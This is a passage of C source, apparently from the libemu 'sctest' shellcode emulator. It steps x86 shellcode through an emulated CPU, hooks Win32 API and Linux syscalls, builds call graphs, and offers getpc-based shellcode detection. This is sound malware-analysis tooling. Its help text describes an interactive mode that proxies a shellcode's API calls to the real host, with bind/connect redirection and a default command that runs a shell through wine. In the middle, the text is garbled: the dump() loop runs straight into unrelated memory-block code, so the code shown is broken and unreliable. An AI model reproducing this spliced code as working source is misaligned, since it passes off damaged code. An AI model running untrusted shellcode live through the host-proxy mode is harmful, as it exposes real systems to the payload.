ev = emu_vertex_new(); emu_graph_vertex_add(graph, ev); emu_hashtable_insert(eh, (void *)(uintptr_t)eipsave, ev); } } hook = emu_env_w32_eip_check(env); if ( hook != NULL ) { if ( opts.graphfile != NULL ) { if ( ev->data != NULL && strcmp(hook->hook.win->fnname, "CreateProcessA") == 0) { ev = emu_vertex_new(); emu_graph_vertex_add(graph, ev); } // fnname_from_profile(env->profile, dllhook->fnname); iv = instr_vertex_new(eipsave,hook->hook.win->fnname); emu_vertex_data_set(ev, iv); // get the dll int numdlls=0; while ( env->env.win->loaded_dlls[numdlls] != NULL ) { if ( eipsave > env->env.win->loaded_dlls[numdlls]->baseaddr && eipsave < env->env.win->loaded_dlls[numdlls]->baseaddr + env->env.win->loaded_dlls[numdlls]->imagesize ) { iv->dll = env->env.win->loaded_dlls[numdlls]; } numdlls++; } } if ( hook->hook.win->fnhook == NULL ) { printf("unhooked call to %s\n", hook->hook.win->fnname); break; } } else { ret = emu_cpu_parse(emu_cpu_get(e)); if ( opts.verbose > 1 ) { emu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG); logDebug(e, "%s\n", cpu->instr_string); emu_log_level_set(emu_logging_get(e),EMU_LOG_NONE); } struct emu_env_hook *hook =NULL; if ( ret != -1 ) { if ( ( hook = emu_env_linux_syscall_check(env)) != NULL ) { if ( opts.graphfile != NULL && ev->data == NULL ) { iv = instr_vertex_new(eipsave, hook->hook.lin->name); emu_vertex_data_set(ev, iv); iv->syscall = hook->hook.lin; } } else { if ( opts.graphfile != NULL && ev->data == NULL ) { iv = instr_vertex_new(eipsave, emu_cpu_get(e)->instr_string); emu_vertex_data_set(ev, iv); } } } else { if ( opts.graphfile != NULL && ev->data == NULL ) { iv = instr_vertex_new(eipsave, "ERROR"); emu_vertex_data_set(ev, iv); } } if ( ret != -1 ) { if ( hook == NULL ) { if ( opts.verbose == 1 ) { emu_log_level_set(emu_logging_get(e),EMU_LOG_INFO); ret = emu_cpu_step(emu_cpu_get(e)); emu_log_level_set(emu_logging_get(e),EMU_LOG_NONE); }else if ( opts.verbose >= 2 ) { emu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG); ret = emu_cpu_step(emu_cpu_get(e)); emu_log_level_set(emu_logging_get(e),EMU_LOG_NONE); } else { ret = emu_cpu_step(emu_cpu_get(e)); } } else { if ( hook->hook.lin->fnhook != NULL ) hook->hook.lin->fnhook(env, hook); else break; } } if ( ret == -1 ) { /* step failed - maybe SEH */ if( emu_env_w32_step_failed(env) != 0 ) { printf("cpu error %s\n", emu_strerror(e)); break; } }else env->env.win->last_good_eip = emu_cpu_eip_get(emu_cpu_get(e)); //used in case of seh exception } if ( opts.graphfile != NULL ) { if ( last_vertex != NULL ) { struct emu_edge *ee = emu_vertex_edge_add(last_vertex, ev); struct emu_cpu *cpu = emu_cpu_get(e); if ( cpu->instr.is_fpu == 0 && cpu->instr.source.cond_pos == eipsave && cpu->instr.source.has_cond_pos == 1 ) ee->data = (void *)0x1; } last_vertex = ev; } // printf("\n"); } printf("stepcount %i\n",j); if ( opts.graphfile != NULL ) { graph_draw(graph); } if ( opts.verbose >= 2 ) { emu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG); emu_cpu_debug_print(cpu); emu_log_level_set(emu_logging_get(e),EMU_LOG_NONE); } if ( opts.verbose >= 1 ) { emu_profile_debug(env->profile); } if (opts.profile_file) emu_profile_dump(env->profile, opts.profile_file); if (eh != NULL) emu_hashtable_free(eh); if (graph != NULL) emu_graph_free(graph); emu_env_free(env); return 0; } int getpctest(void) { struct emu *e = emu_new(); if ( opts.verbose > 1 ) { emu_cpu_debugflag_set(emu_cpu_get(e), instruction_string); emu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG); } if ( (opts.offset = emu_shellcode_test(e, (uint8_t *)opts.scode, opts.size)) >= 0 ) printf("%s offset = 0x%08x\n",SUCCESS, opts.offset); else printf(FAILED"\n"); emu_free(e); return 0; } void dump(int n) { if ( n >= numtests() || n < 0 ) return; int i; for ( i=0; icsi->mblist.lh_first; mb != NULL; mb = mb->blocks.le_next) { if (mb == NULL) break; /* printf("%-3i %08x %08x %-4i \n", i, cargos_lib_mb_addr(mb, CARGOS_LIB_PHYS).val32, cargos_lib_mb_addr(mb, CARGOS_LIB_VIRT).val32, cargos_lib_mb_dsize(mb)); */ int datasize = cargos_lib_mb_dsize(mb); void *data = malloc(datasize); cargos_lib_mb_data(mb, data, datasize); emu_memory_write_block(mem, cargos_lib_mb_addr(mb, CARGOS_LIB_VIRT).val32, data, datasize); free(data); i++; } emu_cpu_reg32_set(cpu, eax, cargos_lib_csi_regv(calib, CARGOS_LIB_EAX).val32); emu_cpu_reg32_set(cpu, ecx, cargos_lib_csi_regv(calib, CARGOS_LIB_ECX).val32); emu_cpu_reg32_set(cpu, edx, cargos_lib_csi_regv(calib, CARGOS_LIB_EDX).val32); emu_cpu_reg32_set(cpu, ebx, cargos_lib_csi_regv(calib, CARGOS_LIB_EBX).val32); emu_cpu_reg32_set(cpu, esp, cargos_lib_csi_regv(calib, CARGOS_LIB_ESP).val32); emu_cpu_reg32_set(cpu, ebp, cargos_lib_csi_regv(calib, CARGOS_LIB_EBP).val32); emu_cpu_reg32_set(cpu, esi, cargos_lib_csi_regv(calib, CARGOS_LIB_ESI).val32); emu_cpu_reg32_set(cpu, edi, cargos_lib_csi_regv(calib, CARGOS_LIB_EDI).val32); emu_cpu_eip_set(cpu, cargos_lib_csi_regv(calib, CARGOS_LIB_EIP).val32); return 0; #else printf("compiled without support for argos csi (libcargos)\n"); return -1; #endif } int prepare(struct emu *emu) { if (opts.from_stdin) return prepare_from_stdin(emu); if (opts.from_argos_csi) return prepare_argos(emu); if (opts.testnumber >= 0) return prepare_testnumber(emu); return -1; } void print_help(void) { struct help_info { const char *short_param; const char *long_param; const char *args; const char *description; }; struct help_info help_infos[] = { {"a", "argos-csi" , "PATH" , "use this argos csi files as input"}, {"b", "bind" , "IP:PORT" , "bind this ip:port"}, {"c", "connect" , "IP:PORT" , "redirect connects to this ip:port"}, {"C", "cmd" , "CMD" , "command to execute for \"cmd\" in shellcode (default: cmd=\"/bin/sh -c \\\"cd ~/.wine/drive_c/; wine 'c:\\windows\\system32\\cmd_orig.exe' \\\"\")"}, {"d", "dump" , "INTEGER" , "dump the shellcode (binary) to stdout"}, {"g", "getpc" , NULL , "run getpc mode, try to detect a shellcode"}, {"G", "graph" , "FILEPATH", "save a dot formatted callgraph in filepath"}, {"h", "help" , NULL , "show this help"}, {"i", "interactive" , NULL , "proxy api calls to the host operating system"}, {"l", "listtests" , NULL , "list all tests"}, {"o", "offset" , "[INT|HEX]", "manual offset for shellcode, accepts int and hexvalues"}, {"p", "profile" , "PATH" , "write shellcode profile to this file"}, {"S", "stdin" , NULL , "read shellcode/buffer from stdin, works with -g"}, {"s", "steps" , "INTEGER" , "max number of steps to run"}, {"t", "testnumber" , "INTEGER" , "the test to run"}, {"v", "verbose" , NULL , "be verbose, can be used multiple times, f.e. -vv"}, }; int i; for (i=0;i